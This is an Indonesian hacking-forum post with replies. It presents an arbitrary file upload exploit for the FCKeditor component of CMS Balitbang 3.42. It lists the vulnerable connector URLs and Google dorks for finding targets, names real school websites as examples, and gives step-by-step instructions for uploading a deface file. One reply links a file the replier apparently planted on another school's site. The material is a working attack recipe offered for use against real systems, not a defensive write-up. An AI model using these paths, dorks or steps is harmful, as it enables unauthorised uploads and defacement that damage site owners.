CMS Balitbang 3.42 Fckeditor Arbitrary File Uploads

[#] Exploit :

http://public_html/dir/editor/filemanager/connectors/uploadtest.html

http://public_html/dir/editor/filemanager/connectors/test.html

...

http://public_html/dir/editor/filemanager/browser/default/browser.html

[#]Dork :

inurl:/html/siswa.php?

inurl:/html/alumni.php?

inurl:/html/guru.php?

Example : http://www.smkmuh7gdl-malang.sch.id

Example : http://www.smkmuh7gdl-malang.sch.id/editor/filemanager/connectors/test.html

sekarang , setelah masuk

Ganti Connector ASP → PHP

Lalu , Upload File txt kamu ,

oh iya , file HTML gak bisa lo , hanya file TXT yang bisa

setelah upload=

http://public_html/userfiles/file/file-deface.txt

http://public_html/userfiles/file-deface.txt

hasil =

http://www.smkmuh7gdl-malang.sch.id/userfiles/file/untitled.txt

HenZ_DJ wrote:

waduh ne user dari tadi kok gak koment. malah smile aja dari tadi. kalo emang ngejar pangkat mending minta langsung aja om mimin tuh dari pada nyampah gini. jadi gak bermutu treadnya. CMS Balitbang 3.42 Fckeditor Arbitrary File Uploads 1082720249

CMS Balitbang 3.42 Fckeditor Arbitrary File Uploads 1082720249

@TS: kayaknya udah banyak yang di patch bro. ane dlu banyak dapetnya cuma satu yang masih blum di patch. ne -> http://smkn4jember.sch.id/userfiles/file/nurul.txt

thanks for share.

» Joomla Component -> com_remository -> Arbitrary File Upload Vulnerability
» Exploit Wordpress "/easy-comment-uploads/upload-form.php"
» Scan File-file Backdoor di situs anda
» Scan File-file Backdoor di situs anda
» Scan file-file Backdoor di situs sendiri